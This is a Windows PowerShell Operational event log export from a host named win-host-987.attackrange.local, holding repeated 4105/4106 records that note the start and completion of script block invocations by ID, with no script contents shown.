SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038707
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038706
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038705
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038704
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038703
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038702
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038701
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038700
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038699
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038698
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038697
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038696
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038695
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038694
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038693
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038692
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038691
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038690
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038689
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038688
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038687
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038686
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038685
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038684
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038683
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038682
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038681
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038680
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038679
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038678
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038677
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038676
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038675
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038674
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038673
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038672
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038671
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038670
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038669
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038668
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038667
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038666
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038665
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038664
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038663
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038662
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038661
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038660
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038659
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038658
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038657
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2038656
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2038655
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
